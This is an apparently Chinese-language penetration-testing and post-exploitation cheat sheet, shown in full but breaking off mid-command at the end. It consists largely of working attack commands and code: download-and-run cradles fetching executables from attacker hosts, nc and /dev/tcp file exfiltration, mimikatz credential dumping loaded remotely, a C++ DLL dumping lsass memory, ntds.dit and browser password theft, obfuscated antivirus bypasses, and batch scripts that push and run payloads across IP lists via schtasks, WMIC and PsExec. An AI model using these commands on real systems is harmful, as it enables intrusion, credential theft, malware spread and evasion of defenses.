Linux
作業系統&內核版本&環境變量>cat /etc/issue>cat /etc/*-release>cat /etc/lsb-release>cat /etc/redhat-releasecat /proc/version>uname -a>uname -mrs>rpm -q kernel>dmesg | grep Linux>ls /boot | grep vmlinuz->cat /etc/profile>cat /etc/bashrc>cat ~/.bash_profile>cat ~/.bashrc>cat ~/.bash_logout>env>setRoot權限進程>ps aux | grep root>ps -ef | grep root計劃任務>crontab -l>ls -alh /var/spool/cron>ls -al /etc/ | grep cron>ls -al /etc/cron*>cat /etc/cron*>cat /etc/at.allow>cat /etc/at.deny>cat /etc/cron.allow>cat /etc/cron.deny>cat /etc/crontab>cat /etc/anacrontab>cat /var/spool/cron/crontabs/rootIP信息>/sbin/ifconfig -a>cat /etc/network/interfaces>cat /etc/sysconfig/network連接信息>grep 80 /etc/services>netstat -antup>netstat -antpx>netstat -tulpn>chkconfig --list>chkconfig --list | grep 3:on>last>w用戶信息>id>whomi>w>last>cat /etc/passwd>cat /etc/group>cat /etc/shadow>ls -alh /var/mail/>grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' >awk -F: '($3 == "0") {print}' /etc/passwd >cat /etc/sudoers>sudo –l操作記錄>cat ~/.bash_history>cat ~/.nano_history>cat ~/.atftp_history>cat ~/.mysql_history>cat ~/.php_history可寫目錄>find / -writable -type d 2>/dev/null >find / -perm -222 -type d 2>/dev/null >find / -perm -o w -type d 2>/dev/null >find / -perm -o x -type d 2>/dev/null >find / \( -perm -o w -perm -o x \) -type d 2>/dev/nullHTTP服務
>python2 -m SimpleHTTPServer >python3 -m http.server 8080>php -S 0.0.0.0:8888>openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes>openssl s_server -key key.pem -cert cert.pem -accept 443 –WWW>ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888,:DocumentRoot => Dir.pwd).start">ruby -run -e httpd . -p 8888文件操作
Windows查找文件>cd /d E: && dir /b /s index.php>for /r E:\ %i in (index*.php) do @echo %i>powershell Get-ChildItem d:\ -Include index.php -recurseLinux查找文件
#find / -name index.php查找木馬文件>find . -name '*.php' | xargs grep -n 'eval('>find . -name '*.php' | xargs grep -n 'assert('>find . -name '*.php' | xargs grep -n 'system('創建讀文本文件:>file = Get-Content "1.txt">file>powershell Set-content "1.txt" "wocao"&>powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=\"))) | out-file -filepath c:\www\wwwroot\1.aspx;"壓縮
>rar.exe a –k –r –s –m3 C:\1.rar C:\wwwroot>7z.exe a –r –p12345 C:\1.7z C:\wwwroot解壓>rar.exe e c:\wwwroot\1.rar>7z.exe x –p12345 C:\1.7z –oC:\wwwroot傳輸FTP>open 192.168.0.98 21>輸入帳號密碼>dir查看文件>get file.txt
VBSSet Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://192.168.1.192/Client.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode = 3aGet.Type = 1aGet.Open()aGet.Write(Post.responseBody)aGet.SaveToFile "C:\1.exe",2 >cscript 1.vbsConst adTypeBinary = 1Const adSaveCreateOverWrite = 2Dim http,adoSet http = CreateObject("Msxml2.serverXMLHTTP")http.SetOption 2,13056//忽略HTTPS錯誤http.open "GET","http://192.168.1.192/Client.exe",Falsehttp.sendSet ado = createobject("Adodb.Stream")ado.Type = adTypeBinaryado.Openado.Write http.responseBodyado.SaveToFile "c:\1.exe"ado.CloseJS
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET", WScript.Arguments(0), false);WinHttpReq.Send();BinStream = new ActiveXObject("ADODB.Stream");BinStream.Type = 1; BinStream.Open();BinStream.Write(WinHttpReq.ResponseBody);BinStream.SaveToFile("1.exe");>cscript /nologo 1.js http:Bitsadmin>bitsadmin /transfer n http://192.168.1.192/Client.exe e:\1.exe>bitsadmin /rawreturn /transfer getfile http://192.168.1.192/Client.exe e:\1.exe>bitsadmin /rawreturn /transfer getpayload http://192.168.1.192/Client.exe e:\1.exe>bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.1.192/Client.exe" "e:\1.exe "Powershell
1注意:內核5.2以下版本可能無效
>powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/Client.exe','C:\1.exe'); start-process 'c:\1.exe'>powershell>(New-Object System.Net.WebClient).DownloadFile('http://192.168.0.108/1.exe',"$env:APPDATA\csrsv.exe");Start-Process("$env:APPDATA\csrsv.exe")
2PS>Copy-Item '\\sub2k8.zone.com\c$\windows\1.txt' -Destination '\\dc.zone.com\c$\1.txt'3
>powershell ($dpl=$env:temp+'f.exe');(New-Object System.Net.WebClient).DownloadFile('http://192.168.0.108/ok.txt',$dpl);4
高版本
PS>iwr -Uri http://192.168.0.106:1222/111.txt -OutFile 123.txt –UseBasicParsing5C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Templates>Import-Module BitsTransfer>$path = [environment]::getfolderpath("temp")>Start-BitsTransfer -Source "http://192.168.0.108/ok.txt" -Destination "$path\ok.txt">Invoke-Item "$path\ok.txt"Certutil
>certutil.exe -urlcache -split -f http:>certutil.exe -urlcache -split -f http:對文件進行編碼下載後解碼執行>base64 payload.exe > /var/www/html/1.txt # 在C&C上生成經base64編碼的exe>certutril -urlcache -split -f http:Python
#python -c 'import urllib;urllib.urlretrieve("http://192.168.1.192/Client.exe","/path/to/save/1.exe")'Perl
#!/usr/bin/perluse LWP::Simple;getstore("http://192.168.1.192/Client.exe", "1.exe");PHP
<?php $data = @file("http://192.168.1.192/Client.exe");$lf = "1.exe";$fh = fopen($lf, 'w');fwrite($fh, $data[0]);fclose($fh);?>Curl
wget#wget http://192.168.1.192/Client.exe#wget –b後臺下載#wget –c 中斷恢復nc
>nc –lvnp 333 >1.txt目標機>nc –vn 192.168.1.2 333 <test.txt –q 1&>cat 1.txt >/dev/tcp/1.1.1.1/333SCP
Linux中傳輸文件>scp -P 22 file.txt user@1.1.1.1:/tmpHash&密碼破解網址https://www.objectif-securite.ch/en/ophcrackhttp://cracker.offensive-security.com/index.phpGoogleColab破解hash之前在freebuf上看到過相關文章,最近在github上也看到了這個腳本,所以拿起來試試,速度可觀https://www.freebuf.com/geek/195453.htmlhttps://gist.github.com/chvancooten/59acfbf1d8ee7a865108fca2e9d04c4a打開https://drive.google.com/drive新建一個文件夾,右鍵,更多選擇google Colab如果沒有,點關聯更多應用,搜索這個名字,安裝一下即可
安裝hashcat,下載字典
運行類型選擇GPU加速
這裡測試個簡單密碼
12億條密碼大概20多分鐘
https://download.weakpass.com/wordlists/1851/hashesorg2019.gz以上是字典
密碼策略
默認情況,主機帳號的口令每30天變更一次
>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Netlogon\Parameters,鍵值為DisablePasswordChange,設置為1,即表示禁止修改帳號口令>組策略(gpedit.msc)中修改默認的30天,修改位置為"Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Domain member: Maximum machine account password age"設置為0時,表示無限長>禁止修改主機帳號口令,用來支持VDI (virtual desktops)等類型的使用,具體位置為"Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Domain member: Disable machine account password changes"Debug Privilege本地安全策略>本地策略>用戶權限分配>調試程序開啟WdigestCmd>reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /fpowershell>Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1meterpreter>reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1Getpass>getpassword.exe>1.txtQuarksPwDump>QuarksPwDump.exe -dump-hash-localMSFMeterpreter > run hashdump&Meterpreter > mimikatz_command -f samdump::hashes&Meterpreter > load mimikatzMeterpreter > wdigest&Meterpreter > load mimikatzMeterpreter > msvMeterpreter > kerberos&Meterpreter > load kiwiMeterpreter > creds_all&Meterpreter > migrate PIDMeterpreter > load mimikatzMeterpreter > mimikatz_command -f sekurlsa::searchPasswords&Meterpreter > run windows/gather/smart_hashdumpEmpire>usemodule credentials/mimikatz/dcsync_hashdumpInvoke-Dcsync>powershell -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-DCSync.ps1');invoke-dcsync
Mimikatz調用mimikatz遠程抓取抓明文>powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.108/nishang/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz抓hash>powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.100/nishang/Gather/Get-PassHashes.ps1');Get-PassHashes>powershell -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/powersploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz" >C:\Users\Administrator.DC\Desktop\1123.txt橫向批量抓hash
Schtasks把IP列表放入ip.txt文件中,通過一個帳戶密碼批量net use與列表裡的IP建立連接,如果建立連接沒出錯的話,複製getpass到目錄temp目錄,使用帳戶密碼遠程創建計劃任務名字為windowsupdate,指定每日00:00以system權限執行getpass文件,創建完計劃任務後,/tn是立刻執行此計劃任務,執行完後刪除此計劃任務,ping -n 10>nul是程序停留,相當於延時10秒,之後複製文件到本地,接著刪除getpass文件,刪除創建的連接。>for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "password" & if %errorlevel% equ 0 ( copy getpass.exe \\%i\admin$\temp\ /Y ) & schtasks /create /s "%i" /u "administrator" /p "password" /RL HIGHEST /F /tn "windowsupdate" /tr "c:\windows\temp\getpass.exe" /sc DAILY /mo 1 /ST 00:00 /RU SYSTEM & schtasks /run /tn windowsupdate /s "%i" /U "administrator" /P "password" & schtasks /delete /F /tn windowsupdate /s "%i" /U " administrator" /P "password" & @ping 127.0.0.1 -n 10 >nul & move \\%i\admin$\temp\dumps.logs C:\Users\Public\%i.logs & del \\%i\admin$\debug\getpass.exe /F & net use \\%i\admin$ /delWmic
>for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "password" & if %errorlevel% equ 0 ( copy getpass.exe \\%i\admin$\temp\ /Y ) & wmic /NODE:"%i" /user:"administrator" /password:"password" PROCESS call create "c:\windows\temp\getpass.exe" & @ping 127.0.0.1 -n 10 >nul & move \\%i\admin$\temp\dumps.logs C:\Users\Public\%i.logs & del \\%i\admin$\temp\getpass.exe /F & net use \\%i\admin$ /del直接使用
>mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt>privilege::debug>misc::memssp鎖屏
>rundll32.exe user32.dll,LockWorkStation記錄的結果在c:\windows\system32\mimilsa.log>mimikatz log "privilege::debug" "lsadump::lsa /patch">mimikatz !privilege::debug>mimikatz !token::elevate>mimikatz !lsadump::samPowershell Bypass>powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX".net 2.0
katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727Powershell執行>$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='>$Content = [System.Convert]::FromBase64String($key)>Set-Content key.snk -Value $Content –Encoding ByteCmd執行>C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs>C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe.net 4.0 Msbuild
>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild mimi.xmlJScript>wmic os get /format:"mimikatz.xsl">wmic os get /format:"http://192.168.0.107/ps/mimi.xsl"Procdump64+mimikatz
>procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp>procdump.exe -accepteula -ma lsass.exe lsass.dmp>mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TheKingOfDuck/hashdump/master/procdump/procdump.ps1');Invoke-Procdump64 -Args '-accepteula -ma lsass.exe lsass.dmp'"Dumpert
https://github.com/outflanknl/Dumpert有三種,分別是dll,可執行文件和cs的Aggressor插件,這裡測試下dll和exeDLL的執行方式是rundll32.exe C:\Outflank-Dumpert.dll,Dump文件保存在c:\windows\temp\dumpert.dmp用mimikatz>sekurlsa::mimidump c:\windows\temp\dumpert.dmp>sekurlsa::logonpasswords可執行文件就直接執行就可以了
繞過卡巴斯基https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e將三個文件下載到本地,使用visual studio進行編譯,需要修改了幾個地方。(1)添加如下代碼#pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib庫文件)(2)將.c文件後綴改成.cpp (使用了c++代碼,需要更改後綴)(3) 編譯時選擇x64編譯得到exe文件Visual studio創建c++空項目配置類型選dll字符集選Unicode,調試器選64位Dll保存在C:\\windows\\temp\\1.bin#include <cstdio>#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <string> #include <map> #include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")using namespace std;
int FindPID(){ PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { cout << "CreateToolhelp32Snapshot Error!" << endl;; return false; }
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult) { if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0) { return pe32.th32ProcessID; } bResult = Process32Next(hProcessSnap, &pe32); }
CloseHandle(hProcessSnap);
return -1;}
typedef HRESULT(WINAPI* _MiniDumpW)( DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr; _MiniDumpW MiniDumpW; _RtlAdjustPrivilege RtlAdjustPrivilege; ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress( LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress( GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0; } RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100]; swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\windows\\temp\\1.bin full");
MiniDumpW(0, 0, ws); return 0;
}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: dump(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}>xxx.exe c:\xx\xx\xx.dll使用絕對路徑遠程LSASS進程轉儲-Physmem2profithttps:mimikatz被多數安全人員用來獲取憑據,但現在的AV/EDR很輕易的識別並查殺,這裡不在伺服器端使用mimikatz,遠程對lsass進程進行轉儲。伺服器端直接使用visual studio構建physmem2profit-public\server\
客戶端>git clone --recurse-submodules https://github.com/FSecureLABS/physmem2profit.git客戶端這裡先安裝>bash physmem2profit/client/install.sh
需要將此文件https://github.com/Velocidex/c-aff4/raw/master/tools/pmem/resources/winpmem/att_winpmem_64.sys傳到目標伺服器,我這裡存放在c:\windows\temp\中伺服器端執行>Physmem2profit.exe --ip 192.168.0.98 --port 8888 –verbose這裡的IP是伺服器端IP攻擊端安裝所需模塊
攻擊端執行>source physmem2profit/client/.env/bin/activate>cd physmem2profit/client>python3 physmem2profit --mode all --host 192.168.0.98 --port 8888 --drive winpmem --install 'c:\windows\temp\att_winpmem_64.sys' --label test伺服器端可以看到
把生成的dmp文件轉移到win系統上使用mimikatz即可獲得hash,當然也可以在linux上使用pypykatz。
再來一條轉儲lsass進程的命令要以system權限執行>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
SqlDumper+mimikatz位置C:\Program Files\Microsoft SQL Server\number\Shared>tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID號>Sqldumper.exe ProcessID PID 0x01100 導出mdmp文件>mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exitMimipenguin
抓取linux下hash,root權限
https:緩存hash提取
註冊表>reg save hklm\sam c:\sam.hive ® save hklm\system c:\system.hive ® save hklm\security c:\security.hive>mimikatz.exe "lsadump::sam /system:sys.hive /sam:sam.hive" exitNinjacopy#http://192.168.0.101/powersploit/Exfiltration/Invoke-NinjaCopy.ps1>powershell -exec bypass>Import-Module .\invoke-ninjacopy.ps1>Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive>Invoke-NinjaCopy –Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive>Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "C:\Windows\Temp\1.dit">Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -ComputerName "dc.zone.com" -LocalDestination "C:\Windows\Temp\1.dit"
Quarks-pwdump>quarks-pwdump.exe –dump-hash-domain域hash提取Ntdsutil>ntdsutil>snapshot>activate instance ntds>create>mount {guid}>copy 裝載點\windows\NTDS\ntds.dit d:\ntds_save.dit>unmount {guid}>delete {guid}>quit&創建> ntdsutil snapshot 「activate instance ntds」 create quit quit掛載> ntdsutil snapshot 「mount {guid}」 quit quit複製>copy c:\$SNAP_XXX_VOLUMEC$\windows\NTDS\ntds.dit d:\ntds_save.dit卸載並刪除> ntdsutil snapshot 「unmounts {guid}」 「delete {guid}」 quit quit刪除後檢測> ntdsutil snapshot 「List All」 quit quit提取hash> QuarksPwDump -dump-hash-domain -ntds-file d:\ntds_save.dit
Vssadmin創建C盤卷影拷貝>vssadmin create shadow /for=c:複製ntds.dit>copy {Shadow Copy Volume Name}\windows\NTDS\ntds.dit c:\ntds.dit刪除拷貝>vssadmin delete shadows /for=c: /quietImpacket
Impacket中的secretsdump.py或NTDSDumpex>Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "C:\Windows\Temp\1.dit">reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hivehttps://github.com/zcgonvh/NTDSDumpEx>NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hiveWMI調用Vssadmin>wmic /node:dc /user:xxxx\admin /password:passwd process call create "cmd /c vssadmin create shadow /for=C: 2>&1">wmic /node:dc /user:P xxxx\admin /password: passwd process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1">wmic /node:dc /user: xxxx\admin /password: passwd process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1">copy \\10.0.0.1\c$\temp\ntds.dit C:\tempPS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\tempPowerSploitPS >Import-Module .\VolumeShadowCopyTools.ps1PS >New-VolumeShadowCopy -Volume C:\PS >Get-VolumeShadowCopyNishangPS >Import-Module .\Copy-VSS.ps1PS >Copy-VSSPS >Copy-VSS -DestinationDir C:\ShadowCopy\或MSF中Meterpreter>load powershellMeterpreter>powershell_import /root/Copy-VSS.ps1Meterpreter>powershell_execute Copy-VSSMimikatzMSF#use auxiliary/admin/smb/psexec_ntdsgrab#set rhost smbdomain smbuser smbpass#exploitNtds.dit文件存在/root/.msf4/loot後滲透模塊#use windows/gather/credentials/domain_hashdump#set session 1laZagnewindowshttps://github.com/AlessandroZ/LaZagne>laZagne.exe all -oN獲取所有密碼輸出到文件PowershellPS>[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]PS>$vault = New-Object Windows.Security.Credentials.PasswordVaultPS>$vault.RetrieveAll() | % { $_.RetrievePassword();$_ }Linux敏感信息Seatbelt
使用Visual studio編譯>Seatbelt.exe ALL獲取所有信息VNC密碼>reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v passwordhttp://www.cqure.net/wp/tools/password-recovery/vncpwdump/Navicat信息
解密>reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host >reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName >reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd離線破解https://github.com/HyperSine/how-does-navicat-encrypt-passwordChrome保存的密碼>mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotectFoxmailX:\Foxmail\storage\xxx\Accounts\Account.rec0使用Foxmail Password Decryptor解密https://securityxploded.com/foxmail-password-decryptor.phpfirefox保存的密碼https:>webbrowserpassview.exe /LoadPasswordsFirefox 1 /shtml "c:\1.html"或>dir %appdata%\Mozilla\Firefox\Profiles\>dir %appdata%\Mozilla\Firefox\Profiles\yn80ouvt.default需先結束firefox.exe進程壓縮>7z.exe -r -padmin123 a c:\users\public\firefox.7z C:\Users\Administrator\AppData\Roaming\Mozilla\*.* https:https:SecureCRT
C:\Documents and Settings\Administrator\Application Data\VanDyke下的config文件夾C:\program files\Vandyke software\securecrt\https://github.com/uknowsec/SharpDecryptPwd橫向探測存活主機For+Ping命令查詢存活主機>for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.0.%I |findstr "TTL="For+Ping命令查詢域名對應IP
>for /f "delims=" %i in (D:/domains.txt) do @ping -w 1 -n 1 %i | findstr /c:"[192." >> c:/windows/temp/ds.txtNbtScanWindows>nbtscan.exe -m 192.168.1.0/24LinuxNMAP#nmap -Pn -open -A -n -v -iL filename.txt-Pn:跳過主機發現-n:不做DNS解析-open:只顯示開啟的埠-A:掃描過程中,輸入回車,可以查看掃描進度-v:顯示詳細信息-F:快速掃描100個常見埠-p:選擇要掃描的埠 例:-p1-65535 (全埠掃描,中間沒有空格)-iL:為程序指定一個要掃描的IP列表-sV:探測開放埠的服務和版本信息-T可以選擇掃描等級,默認T3,但想快點話,可以輸入 -T4存活主機>nmap -sP -PI 192.168.0.0/24>nmap -sn -PE -T4 192.168.0.0/24>nmap -sn -PR 192.168.0.0/24
代理nmap掃meterpreter > backgroundmsf > use auxiliary/server/socks4a再配置proxychains.conf
NetDiscoverrp-scan
kali>arp-scan --interface=wlan0 -localnetWindows>arp-scan.exe -t 192.168.0.0/24MSF
#use auxiliary/scanner/netbios/nbnamemeterpreter>run post/windows/gather/arp_scanner RHOSTS=192.168.1.1/24meterpreter>run post/multi/gather/ping_sweep RHOSTS=192.168.1.1/24
探測服務&埠常見埠
服務埠Mssql1433SMB445WMI135winrm5985rdp3389ssh22oracle1521mysql3306redis6379postgresql5432ldap389smtp25pop3110imap143exchange443vnc5900ftp21rsync873mongodb27017telnet23svn3690java rmi1099couchdb5984pcanywhere5632web80-90,8000-10000,7001,9200,9300PowershellPowersploit>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powersploit/Recon/Invoke-Portscan.ps1'); Invoke-Portscan -Hosts 192.168.0.0/24 –T 4 -Ports '1-65535' -oA C:\TEMP.txt"Nishang>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/nishang/Scan/Invoke-PortScan.ps1'); Invoke-Portscan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort"
去掉scanport就是探測存活
SMBMSFNMAP#nmap -sU -sS --script smb-enum-shares.nse -p 445 192.168. 1.119CMD>for /l %a in (1,1,254) do start /min /low telnet 192.168.1.%a 445Linux Samba服務埠一般139,弱口令連接>smbclient -L 192.168.0.110>smbclient '\\192.168.0.110\IPC$'#use exploit/linux/samba/is_known_pipenameaMSF埠服務Nc>nc -znv 192.168.0.98 1-65535
>nc -v -w 1 192.168.0.110 -z 1-1000>for i in {101..102}; do nc -vv -n -w 1 192.168.0.$i 21-25 -z; done
Masscan$sudo apt-get install clang git gcc make libpcap-dev$git clone https://github.com/robertdavidgraham/masscan$cd masscan$make >masscan -p80,3389,1-65535 192.168.0.0/24
PTScan友好識別web服務
https:>python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n(不ping)] [-b(開啟banner掃描)] [-r查找IP]80,81,82,83,84,85,86,87,88,89,90,91,901,18080,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,443,8443,7001CobaltStrike+K8 Aggressor存活主機
beacon>Cscan 192.168.0.0/24 OnlinePC
MS17010beacon>Cscan 192.168.0.0/24 MS17010
作業系統信息beacon>Cscan 192.168.0.0/24 Osscan
內網站點banner、標題掃描beacon>Cscan 192.168.0.0/24 WebScanFTP爆破上傳帳戶密碼文件user.txt、pass.txt到beacon目錄(beacon>pwd)beacon>Cscan 192.168.0.0/24 FtpScanWMI爆破windows帳戶密碼上傳帳戶密碼文件user.txt、pass.txt到beacon目錄(beacon>pwd)beacon>Cscan 192.168.0.0/24 WmiScan思科設備掃描beacon>Cscan 192.168.0.0/24 CiscoScan枚舉共享
枚舉SQL SERVER資料庫執行命令&IPC&計劃任務建立連接>net use \\192.168.1.2\ipc$ "password" /user:domain\administrator查看連接>net use列文件>dir \\192.168.1.2\c$查看系統時間>net time \\192.168.1.2上傳文件>copy 1.exe \\192.168.1.2\c$下載文件>copy \\192.168.1.2\c$\1.exe 1.exe批量IPC@echo offecho check ip addr config file…if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto endecho read and analysis file…for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \\%%i -u administrator -p "123456" cmd:endexitATSchtasks
>net use \\192.168.1.2\ipc$ "password" /user:domain\administrator>copy 1.exe \\192.168.1.2\c$>net time \\192.168.1.2>at \\192.168.1.2 1:00AM c:\1.exe>at \\192.168.1.2 1:00AM cmd.exe /c 「ipconfig >c:/1.txt」>type \\192.168.1.2\c$\1.txt查看計劃任務>at \\192.168.1.2刪除計劃任務>at \\192.168.1.2 計劃ID /delete橫向批量上線>atexec.exe ./administrator:pass@10.1.1.1 "certutil.exe -urlcache -split -f http://youip.com:80/shell.txt c:/windows/debug/SysDug.exe" >atexec.exe ./administrator:pass@10.1.1.1 "c:/windows/debug/SysDug.exe" >atexec.exe ./administrator:pass@10.1.1.1 "certutil.exe -urlcache -split -f c:/windows/debug/SysDug.exe delete">net use \\192.168.0.55\ipc$ "password" /user:"domain\administrator">schtasks /query /fo LIST /v 查看計劃任務上傳文件>copy ok.exe \\192.168.0.55\c$\windows\temp遠程創建定時任務 >schtasks /create /s "192.168.0.55" /u "admin" /p "qqq23" /RL HIGHEST /F /tn "windowsupdate" /tr "c:\windows\temp\ok.exe" /sc DAILY /mo 1 /ST 20:28 /RU SYSTEM查詢遠程創建的任務>schtasks /query /s "192.168.0.55" /U "admin" /P "qqq23" | findstr "windowsupdate" 立即執行遠程任務>schtasks /run /tn windowsupdate /s "192.168.0.55" /U "admin" /P "qqq23" 刪除定時任務 >schtasks /Delete /tn windowsupdate /F /s "192.168.0.55" /u "admin" /p "qqq23"刪除IPC>net user name /del /y橫向批量上線>for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "password" & if %errorlevel% equ 0 ( copy ok.exe \\%i\admin$\debug\ /Y ) & wmic /NODE:"%i" /user:"administrator" /password:"password" PROCESS call create "c:\windows\debug\ok.exe" & @ping 127.0.0.1 -n 8 >nul & net use \\%i\admin$ /delWMIC>net use \\192.168.0.55\ipc$ "password" /user:"domain\administrator">copy ok.exe 